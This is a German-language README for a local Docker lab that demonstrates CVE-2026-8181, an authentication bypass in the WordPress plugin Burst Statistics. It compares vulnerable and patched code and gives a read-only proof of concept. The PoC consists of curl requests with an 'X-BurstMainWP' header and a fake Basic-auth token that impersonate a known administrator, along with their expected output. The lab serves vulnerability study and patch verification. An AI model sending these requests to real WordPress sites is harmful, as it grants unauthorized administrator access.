
Lokales Docker-Labor für CVE-2026-8181, eine Authentifizierungsumgehung im WordPress-Plugin Burst Statistics – Privacy-Friendly WordPress Analytics.
Dieses Labor vergleicht eine verwundbare Plugin-Version mit der gepatchten Version und verwendet einen PoC mit minimaler Schadwirkung, um den Unterschied nachzuweisen, ohne Benutzer anzulegen, Dateien hochzuladen oder den WordPress-Zustand zu verändern.
Betroffenes Plugin: Burst Statistics – Privacy-Friendly WordPress Analytics
Betroffene Versionen: 3.4.0 bis 3.4.1.1
Gepatchte Version: 3.4.2
Schwachstellentyp: Authentifizierungsumgehung / Fehlerhafte Authentifizierung
Auswirkungen: Ein nicht authentifizierter Angreifer kann sich für die Dauer einer REST-API-Anfrage als Administrator ausgeben, wenn er einen gültigen Administrator-Benutzernamen kennt.
In diesem Labor:
vuln läuft mit Burst Statistics 3.4.1.1patched läuft mit Burst Statistics 3.4.2X-BurstMainWP: 1Der seed-Dienst installiert WordPress, legt den Labor-Administrator an und aktiviert Burst Statistics in beiden Umgebungen.
Benutzername des Labor-Administrators:
labadmin
Der PoC verwendet absichtlich ein falsches Passwort, um die Umgehung nachzuweisen.
Burst Statistics enthält einen MainWP-bezogenen Proxy-Authentifizierungspfad. Wenn eine REST-API-Anfrage diesen Header enthält:
X-BurstMainWP: 1
Burst delegiert die Authentifizierung an MainWP_Proxy::is_mainwp_authenticated().
In der verwundbaren Version liest die Funktion vom Angreifer kontrollierte Basic-Authentication-Anmeldedaten, extrahiert Benutzername und Passwort und übergibt sie an den WordPress-Kern:
$is_valid = wp_authenticate_application_password( null, $username, $password );
Der Fehler liegt in der Prüfung des Rückgabewerts.
3.4.1.1Vereinfacht aus includes/Frontend/class-mainwp-proxy.php:
$is_valid = wp_authenticate_application_password( null, $username, $password );
if ( is_wp_error( $is_valid ) ) {
return false;
}
$user = get_user_by( 'login', $username );
if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
return false;
}
wp_set_current_user( $user->ID );
return true;
Der verwundbare Code weist nur WP_Error zurück. wp_authenticate_application_password() kann jedoch null oder einen anderen Nicht-Benutzer-Wert zurückgeben, wenn die Authentifizierung nicht tatsächlich erfolgreich war. Da null kein WP_Error ist, wird die Prüfung bestanden.
Danach schlägt das Plugin den übergebenen Benutzernamen nach und ruft auf:
wp_set_current_user( $user->ID );
Dadurch behandelt WordPress die aktuelle REST-API-Anfrage als diesen Benutzer. Wenn der Benutzername zu einem Administrator gehört, sehen die WordPress-Berechtigungsprüfungen für den Rest der Anfrage einen Administrator.
Die gepatchte Version behebt die Authentifizierungsprüfung, indem sie vor dem Fortfahren ein echtes authentifiziertes Benutzerobjekt verlangt.
3.4.2Konzeptionell besteht der Fix darin:
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
if ( ! $authenticated_user instanceof \WP_User ) {
return false;
}
Die wichtige Änderung ist, dass ein bloß „kein Fehler“-Rückgabewert nicht mehr ausreicht. Das Authentifizierungsergebnis muss ein tatsächliches \WP_User-Objekt sein.
Dies blockiert den verwundbaren Pfad, bei dem null die alte is_wp_error()-Prüfung umgeht.
Das Labor demonstriert einen Nur-Lese-Nachweis mit:
/wp/v2/users/me?context=edit
Dieser Endpunkt reicht aus, um zu zeigen, ob WordPress die Anfrage als authentifiziert betrachtet.
Die reale Auswirkung kann größer sein als dieser Labor-Nachweis. Wenn ein Angreifer sich für eine REST-API-Anfrage als Administrator ausgeben kann, könnte er auf privilegierte WordPress-Endpunkte zugreifen. In üblichen WordPress-Konfigurationen kann Administratorzugriff zu einer dauerhaften Übernahme der Website führen – etwa durch Erstellung von Konten, Anwendungspasswörter, Installation von Plugins, Änderung von Themes oder andere administrative Aktionen.
Dieses Repository vermeidet diese destruktiven Pfade absichtlich.
docker compose up -d --build
Warten Sie, bis der einmalige Seed-Dienst abgeschlossen ist:
docker compose logs seed
Erwartete Seed-Ausgabe:
[+] vuln: Burst Statistics version = 3.4.1.1
[+] patched: Burst Statistics version = 3.4.2
[+] Seed complete
Python-Abhängigkeit installieren:
python3 -m venv .venv
source .venv/bin/activate
pip install requests
Führen Sie den PoC gegen den verwundbaren Dienst aus:
python poc/poc.py --base-url http://127.0.0.1:8081 --admin-user labadmin
Erwartetes Ergebnis beim verwundbaren Dienst:
=== baseline without bypass headers ===
status: 401
=== with X-BurstMainWP + fake Basic password ===
status: 200
roles: ["administrator"]
[+] LIKELY VULNERABLE: request was treated as an authenticated user/admin context.
Führen Sie denselben PoC gegen den gepatchten Dienst aus:
python poc/poc.py --base-url http://127.0.0.1:8082 --admin-user labadmin
Erwartetes Ergebnis beim gepatchten Dienst:
=== baseline without bypass headers ===
status: 401
=== with X-BurstMainWP + fake Basic password ===
status: 401
[+] LIKELY PATCHED/NOT VULNERABLE: bypass headers did not authenticate the request.
Generieren Sie ein gefälschtes Basic-Authentication-Token:
TOKEN=$(printf 'labadmin:not-the-real-password' | base64)
Basisanfrage ohne Bypass-Header:
curl -sS -i \
'http://127.0.0.1:8081/?rest_route=/wp/v2/users/me&context=edit'
Erwartet:
HTTP/1.1 401 Unauthorized
rest_not_logged_in
Bypass-Versuch:
curl -sS -i \
-H 'X-BurstMainWP: 1' \
-H "Authorization: Basic $TOKEN" \
'http://127.0.0.1:8081/?rest_route=/wp/v2/users/me&context=edit'
Erwartet:
HTTP/1.1 200 OK
"slug":"labadmin"
"roles":["administrator"]
Führen Sie denselben Bypass-Versuch gegen den gepatchten Dienst aus:
curl -sS -i \
-H 'X-BurstMainWP: 1' \
-H "Authorization: Basic $TOKEN" \
'http://127.0.0.1:8082/?rest_route=/wp/v2/users/me&context=edit'
Erwartet:
HTTP/1.1 401 Unauthorized
rest_not_logged_in
Der verwundbare Dienst zeigt die Verhaltensänderung deutlich:
GET /?rest_route=/wp/v2/users/me&context=edit 401
GET /?rest_route=/wp/v2/users/me&context=edit 200
Der gepatchte Dienst lehnt sowohl nicht authentifizierte als auch Bypass-Versuche ab:
GET /?rest_route=/wp/v2/users/me&context=edit 401
GET /?rest_route=/wp/v2/users/me&context=edit 401
Dieser PoC ist absichtlich möglichst harmlos:
Verwenden Sie dieses Labor nur in Ihrer eigenen lokalen Docker-Umgebung.
| Service | Beschreibung | URL |
|---|
vuln | WordPress + Burst Statistics 3.4.1.1 | http://127.0.0.1:8081 |
patched | WordPress + Burst Statistics 3.4.2 | http://127.0.0.1:8082 |
db_vuln | MySQL für verwundbares WordPress | Nur intern |
db_patched | MySQL für gepatchtes WordPress | Nur intern |
seed | Einmaliger WP-CLI-Einrichtungscontainer | Nur intern |